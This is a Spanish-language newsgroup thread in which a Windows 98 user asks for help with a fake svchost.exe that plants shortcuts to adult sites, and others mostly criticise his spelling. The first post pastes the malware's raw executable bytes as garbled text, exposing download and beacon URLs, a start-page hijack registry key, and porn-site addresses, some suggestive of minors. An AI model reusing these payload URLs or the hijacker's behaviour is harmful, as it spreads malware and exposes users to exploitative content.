SVCHOST INFECTADO

PostData, uso win 98

postdata2
aki tienen las tripas de svchost...
MZ   ÿÿ ž
@ ° º Ž Í!ž
LÍ!
This program cannot be run in DOS mode.

$ ]eýÈ">">">-?>Q">å$>">Rich">
PE L
 $Ê? à 

  p
  @
   
     
 !


.text Ö  
 `.rdata Ÿ   @
@.data ¬f
0 4  @
À







hb@ h b@ è? ÀtPèÍ èy £"^A fÀ£^A è·
è^ ha@ èÅ Àth&a@ PèŒ Àt£dA j
j ÿdA j èo
£Âf@ èO £Æf@ j
ÿ5Æf@ j ÿ5Âf@ è j j ÿdA PèJ U<ìfÄ°ÇEÐ0 ÇEÔ
ÇEØe@ ÇEÜ ÇEà ÿ5Âf@ EàÇEð ÇEô ÇEø b@ ÇEè
ÇEü ÇEì EÐPè¯
j ÿuj j h ?h ?h ?h ?h Ï hb@ h b@ j èR
?E°j j j EŽPèX
ÀtEŽPèi
EŽPè6
ëÙ<EŒÉ U<ìfÄôf}uÿ5Öf@ ÿuè%
j è$
é§
f}
uRèï hba@ jhR4@ èá hsa@ j h"\@ èÐ Ç??A

èq
j ÿ5¬0@ jÿuèÝ £Öf@ éO
}
.-
j
j è¿
À"
è· f=??A "
hÿ h€ZA èî hÆ`@
h€ZA è
j j h€ZA hž0@ j èS
Àuj h€ZA èê j j h€ZA h[1@ j èe
Àuj h€ZA èÅ j j h€ZA hþ1@ j è@
Àuj h€ZA è hžd@ h

èß hLA èÛ <@< <
PèÔ jPhp.A è< hb@ ÿ5^A ÿ5"^A hp.A h 0@ h~^A
è^ fÄh~^A è
Ç??A ë!Ç??A
ëÿuÿuÿuÿuè^
É 3ÀÉ U<ìfÄðÇEü EüPhff@ j èQ ÿuüjBèœ ?
EøÿuøèŸ ?EôEüPÿuôj è+ À". ?Eð<Uôÿrè
ÿuôè. ÿuøè ÇEü EüPhff@ ÿuðèó ÿuüjBèY ?
EøÿuøèZ ?EôEüPÿuôÿuðèÌ Àt ?Eð<Uôÿrè® ÿuôè4 ÿuøè
 ëëëTÉàU<ìÄøþÿÿj hÚf@ hM~A j hb@ è" ÀtR?Eüj j j
hÚf@ ÿuÿuüè| ?EøÀt2hhA hÿ .øþÿÿPÿuøèb ÿuøèB
ÿuüè: ž
ÉÂ ÿuøè) ÿuüè! 3ÀÉÂ hjc@ èu 3Àf¡xc@
f÷%vc@ ° =' }ÛàU<ìÄøþÿÿÇ.üþÿÿ
Ç.øþÿÿ
j jè÷
£:b@ ÇBb@ (
hBb@ ÿ5:b@ è2 £6b@ ëf3ɍ=fb@ <ßKWèJ
£>b@ øë3hí`@ Wè$ Àu
Ç.üþÿÿ ha@ Wè Àu
Ç.øþÿÿ O;ûuÉhBb@ ÿ5:b@ èÐ £6b@ f=6b@ u'ÿ5:b@ èE
fœüþÿÿ t(ÿ5"^A hÛ`@ . ÿÿÿPèÝ fÄj . ÿÿÿPèO fœøþÿÿ t
(ÿ5^A hú`@ . ÿÿÿPè¬ fÄj . ÿÿÿPè[ ÉàU<ìÄüþÿÿh~SA
h=a@ h ?èr À"k
hÚf@ h~SA j h?  j j j h=a@ h
?è> hjc@ èÚ j fÿ5pc@ h\a@ .üþÿÿPè* fÄ.üþÿÿPhb@
èâ j fÿ5lc@ h\a@ .üþÿÿPèü fÄ.üþÿÿPhb@ èŽ j
fÿ5jc@ h\a@ .üþÿÿPèÎ fÄ.üþÿÿPhb@ è? j fÿ5rc@ h\a@
.üþÿÿPè  fÄ.üþÿÿPhb@ èX j fÿ5tc@ h\a@ .üþÿÿPèr
fÄ.üþÿÿPhb@ è* j fÿ5vc@ h\a@ .üþÿÿPèD fÄ.
üþÿÿPhb@ èü jhb@ j
j hVa@ ÿ5~SA è Ç€'A

ë+ÇhA  hhA hb@ hÚf@ j hVa@ ÿ5~SA èà ÿ5~SA èœ
ÉàU<ìfÄôÇEü ÿuè  ?Eøÿuè. ?Eô<}ë&ÿuôWÿuôÿuj
h 
èá føuž
ëÿMøGf}ø wÔ3ÀÉ U<ìÄìþÿÿÇEü ÿuèC ?.
ôþÿÿ<}?}øëG??
u;<Ç+Eø@Pÿuø.øþÿÿPè W.øþÿÿPÿuèUÿÿÿÀt ž
ÉÂ
_G?}øÿEøGÿôþÿÿfœôþÿÿ w°3ÀÉ h~SA h?  j h¡2@ h
?èÜ
hÖ2@ èº PhÖ2@ j
j hË2@ ÿ5~SA èÄ ÿ5~SA è> àU<ìÄüýÿÿj
ÿu. þÿÿPj èÖ hb@ . þÿÿPèO ÿu. þÿÿPè@ h÷a@ .
þÿÿPè/ j j jj j
h @. þÿÿPèo ?.üýÿÿÿuÿu.
þÿÿPè0 fÄ. þÿÿPè j hÚf@ P. þÿÿPÿµüýÿÿèÍ
ÿµüýÿÿèD É U<ìÄdüÿÿÇ"?A
<}éô ?? uÉÂ ?œhÿÿÿë
G?? uÉÂ ??#uñ?? u
Ç"?A <Ç+.hÿÿÿPÿµhÿÿÿ.dþÿÿPèq G?œhÿÿÿ?? u
Ç"?A ëG?? u
Ç"?A ??
t??
t??
t f="?A uØ<Ç+.hÿÿÿ@Pÿµhÿÿÿ.dýÿÿPè hüa@ .
düÿÿPèþ
.dþÿÿP.düÿÿPèß
ÿuÿu.dýÿÿP.
düÿÿPèJþÿÿf="?A tGGëÉÂ f="?A .ÿþÿÿÉÂ U<ìÄŒöÿÿj j.
ŒöÿÿPj èÿ hb@ .ŒöÿÿPèx
.ŒöÿÿP.ŒúÿÿPèq
höa@ .
ŒöÿÿPèT
.ÂþÿÿP.ŒöÿÿPèç føÿtm?.
ŒþÿÿëV?œîþÿÿ.t;fœÂþÿÿt2.ŒúÿÿP.ŒöÿÿPè
.îþÿÿP.
ŒöÿÿPèü .ŒöÿÿPè" .ÂþÿÿPÿµŒþÿÿèS ÀuŠÿµŒþÿÿèo
ÉàÌÿ%Ä @ ÿ%À @ ÿ%Œ @ ÿ%ž @ ÿ%Ž @ ÿ%° @ ÿ%¬ @ ÿ%š @ ÿ%€ @
ÿ% @ ÿ%o @ ÿ%O @ ÿ%4 @ ÿ%8 @ ÿ%< @ ÿ%@ @ ÿ%D @ ÿ%H @ ÿ%L
@ ÿ%P @ ÿ%T @ ÿ%X @ ÿ%\ @ ÿ%` @ ÿ%d @ ÿ%h @ ÿ%l @ ÿ%p @ ÿ%
t @ ÿ%x @ ÿ% @ ÿ%? @ ÿ%| @ ÿ%0 @ ÿ%, @ ÿ% @ ÿ%" @ ÿ%( @
ÿ%$ @ ÿ% @ ÿ% @ ÿ% @ ÿ% @ ÿ% @ ÿ% @ ÿ%ô @ ÿ%ð @ ÿ%ø
@ ÿ%Ô @ ÿ%Ø @ ÿ%Ü @ ÿ%à @ ÿ%Ì @ ÿ%è @ ÿ%à @ ÿ%Ð @ ÿ%"
@




p% @% "% 2% `% R% °$ ô$ % % è$
Ü$ "# '# €# ²# Î# Ü# ê# ö# $ $ *$ >$ P$
f$ v$ "$ '$ $ Ò$ Â$ % ^# o& >#
2# # # # ò" à" Ð" Ÿ" ¬" " <& |& Ú%
ò% & && h& X& ²% €% Â% <" R#
o ," x# O Œ! $%  ! -
% " Î% ð l" & Ì 4"
²& " p% @% "% 2% `% R% °
$ ô$ % % è$ Ü$ "# '# €# ²# Î# Ü# ê# ö# $
$ *$ >$ P$ f$ v$ "$ '$ $ Ò$ Â$ %
^# o& ># 2# # # # ò" à" Ð" Ÿ"
¬" " <& |& Ú% ò% & && h& X& ²% €%
Â% bwsprintfA T CreateWindowExA ~ DefWindowProcA O
DispatchMessageA È FindWindowA 
GetMessageA {
KillTimer
¿
PostQuitMessage È
RegisterClassExA SetTimer
BTranslateMessage user32.dll H SHGetSpecialFolderPathA
shell32.dll  CloseHandle  CompareStringA 0 CreateFileA
I CreateToolhelp32Snapshot S DeleteFileA ? ExitProcess 
FindClose " FindFirstFileA o FindNextFileA È
GetCommandLineA
GetModuleHandleA

GetProcAddress <
GetSystemDirectoryA @
GetSystemTime
g
GlobalAlloc n
GlobalFree r
GlobalLock y
GlobalUnlock
Þ
Process32First à
Process32Next "WinExec zWriteFile
µlstrcatA ¹lstrcmpiA »lstrcpyA œlstrcpynA
¿lstrlenA kernel32.dll ?
RegCloseKey "
RegCreateKeyExA
~
RegOpenKeyA T
RegOpenKeyExA £
RegQueryValueExA
®
RegSetValueExA advapi32.dll ! WSAStartup *
gethostbyname 8 inet_ntoa wsock32.dll
DeleteUrlCacheEntryA  FindFirstUrlCacheEntryA 
FindNextUrlCacheEntryA i InternetCloseHandle {
InternetGetConnectedState ? InternetOpenA ?
InternetOpenUrlA Z InternetReadFile wininet.dll 1
URLDownloadToFileA
urlmon.dll





http://82.196.73.2/test.php?IP=%s&Port1=%u&Port2=%u&ID=%s
&ID=%
s
Ðû

0u
http://82.196.73.5/p.exe


http://beta.softdevelops.com/p.exe


http://3.exe


SOFTWARE\Microsoft\Internet Explorer\Main Start Page
http://strawberries.teensfestival.com/search.html






strawberries.teensfestival.com/search.html # ALL models
HERE
strawberries.teensfestival.com/?alla.html # Strawberries
TGP
mega-tetki.slutvirgins.com/?alla.html # Mega Tetki TGP
strawberries.teensfestival.com/warn.html # Anonymous
surfing g
realgirltgp.virgin-paradize.com/?alla.html # RealGirl tgp
zda.only18plus.com/warning.php #Are you sure nobody is
spying on you right now?
pizda.only18plus.com/warning.php #Do you visit porno sites
during working hours?
pizda.only18plus.com/warning.php #Have you visited an
illegal site by chance or
deliberately?




































































































































































strawberries.teensfestival.com/?
alla.html #Strawberries TGP
strawberries.teensfestival.com/warn.html #Anonymous surfing
mega-tetki.slutvirgins.com/?alla.html #Mega Tetki TGP
strawberries.teensfestival.com/search.html #All Search ki
TGP
strawberries.teensfestival.com/search2.html # Porn
search












\surte.exe SUBJECT: svchosts.exe -p%u
svchosts.exe svchostc.exe -p%u svchostc.exe kernel32.dll
RegisterServiceProcess SOFTWARE\Microsoft\Mserv IDwin %
0.4u [InternetShortcut]
URL=%s
Modified 26D083D289C30138 [InternetShortcut]
URL=%s
Modified 26D083D289C30138
IconIndex#
IconFile=shell32.dll *.url http:// \
TGFR SDRE


Además de todos los problemas también tenés problemas con
el teclado?
Si escribis bien a lo mejor se te entiende algo.

lo ke pasa es al entrar en ciertas paginas, tienen

virus,

y te cambian el pc.
me he tirado casi toda una mañana eliminando cosas ke me
molestaban.
pero hay una ke no puedo, ademas ni lo intento,
svchost.exe, he mirado x ahi y e encontrado ke deberia
estar en windows\system32\ pero lo tengo en windows\,

pero

ese no es el problema.

cada vez ke el pc se inicia, svchost crea iconos en mi
escritorio, en favoritos casi todas partes, de esas

webs

ke han modificado mi pc. intente abrirlo con notepad y
kitar las webs esas desde dentro, pero el svchost es
intocable, me dice ke esta en uso, pero le doi a
control+alt+del y no veo ninguna relacion con svchost.

ke

puedo hacer?, este pc esta cada vez peor
.

Eso de la escritura, sinceramente es mala leche ke
mas te da, mientras se entienda...

Además de todos los problemas también tenés problemas con
el teclado?
Si escribis bien a lo mejor se te entiende algo.

lo ke pasa es al entrar en ciertas paginas, tienen

virus,

y te cambian el pc.
me he tirado casi toda una mañana eliminando cosas ke me
molestaban.
pero hay una ke no puedo, ademas ni lo intento,
svchost.exe, he mirado x ahi y e encontrado ke deberia
estar en windows\system32\ pero lo tengo en windows\,

pero

ese no es el problema.

cada vez ke el pc se inicia, svchost crea iconos en mi
escritorio, en favoritos casi todas partes, de esas

webs

ke han modificado mi pc. intente abrirlo con notepad y
kitar las webs esas desde dentro, pero el svchost es
intocable, me dice ke esta en uso, pero le doi a
control+alt+del y no veo ninguna relacion con svchost.

ke

puedo hacer?, este pc esta cada vez peor
.

.

Una pequeña contribución:
Francamente es desagradable leer así un idioma tan bonito y rico como es el
Español.
Qué más de daría a vos escribir correctamente?

Verónica B.

"FaLCoN" escribió en el mensaje
news:026401c3cd4d$32e30320$
Eso de la escritura, sinceramente es mala leche ke
mas te da, mientras se entienda...

Además de todos los problemas también tenés problemas con
el teclado?
Si escribis bien a lo mejor se te entiende algo.

lo ke pasa es al entrar en ciertas paginas, tienen

virus,

y te cambian el pc.
me he tirado casi toda una mañana eliminando cosas ke me
molestaban.
pero hay una ke no puedo, ademas ni lo intento,
svchost.exe, he mirado x ahi y e encontrado ke deberia
estar en windows\system32\ pero lo tengo en windows\,

pero

ese no es el problema.

cada vez ke el pc se inicia, svchost crea iconos en mi
escritorio, en favoritos casi todas partes, de esas

webs

ke han modificado mi pc. intente abrirlo con notepad y
kitar las webs esas desde dentro, pero el svchost es
intocable, me dice ke esta en uso, pero le doi a
control+alt+del y no veo ninguna relacion con svchost.

ke

puedo hacer?, este pc esta cada vez peor
.

.